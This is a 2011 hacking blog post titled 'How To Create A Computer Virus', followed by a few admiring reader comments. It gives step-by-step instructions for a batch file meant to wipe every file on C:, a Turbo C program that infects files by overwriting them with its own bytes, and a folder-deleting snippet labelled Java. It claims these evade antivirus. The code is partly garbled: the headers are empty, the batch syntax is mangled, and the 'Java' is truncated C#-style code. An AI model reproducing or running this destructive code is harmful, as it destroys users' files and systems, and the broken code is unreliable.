How To Create A Computer Virus

Posted In Hacking, Tips & Tricks - By supreet On Wednesday, July 6th, 2011 With 6 Comments

how to create computer virus How To Create A Computer Virus

Like every programmer, I, must first warn u that creating a computer virus is illegal and one can be jailed for performing the above activity. However the coding given below aren’t that harmful , Still I would suggest CAUTION.

1. Using Notepad:

This are virus programming that are not easily detected by antivirus systems
Step-1 : open the notepad
Step-2 :  write the given below code

@echo off
Del c:/ *.* ly

Step-3 :save the above file as .bat rather than .txt
Step-4 :run the above file
WARNING: it’ll delete all the files in the c:/. So don’t try this in your own computer.


2. Using C Compiler:

Step-1 :copy the given below code into the c compiler you are using

#include 
#include 
#include 
#include 
#include 
#include 
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

for Turbo C++ follow the steps given below for compiling :-
step-1: compile using alt+f9
step-2 : press f9 to generate the exe file
( Caution: don’t press ctrl+ f9 or all the files in the directory will be infected)
Step-3 :note down the size in bytes of the exe file
Step-4 :change the value of x =89088 with the current size of the exe file
Step-5 : again execute the step-1 and step-2 and obtain the exe file
Step 6 : run the exe file

How to test :

Step-1 create a new folder
Step-2 copy and paste some of the exe file
Step-3 run the exe file you generated in the same folder
Step-4 check it with your antivirus
Note: this above coding file is the most basic virus file that generates copy of your already existing .exe files and making them unusable.

3. Using java :

Step-1 : name the E:/ partition delete
Step-2 open the java editor and paste the following code

class virus
{
protected void CleanImageFolder()
{
DirectoryInfo imgInfo = new DirectoryInfo(@"E:\delete");
FileInfo []fileinDir=imgInfo.GetFiles();
for(int i=0;i

step 3 : run the above code using System.IO

WARNING: all the files present in the e:/ will be deleted after execution of the above code.

Try all the above codes at your own risk.

About -

Displaying 6 Comments
Have Your Say

  1. simple cool and dangerous …

  2. [...] */ google_ad_slot = "2659242827"; google_ad_width = 468; google_ad_height = 60; 0In my previous post How to create a computer virus? I gave a little information regarding methods to create viruses using different programming [...]

  3. Iain Mars says:

    Great ways to make viruses. The notepad file looks particularly devastating!

Leave a comment

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>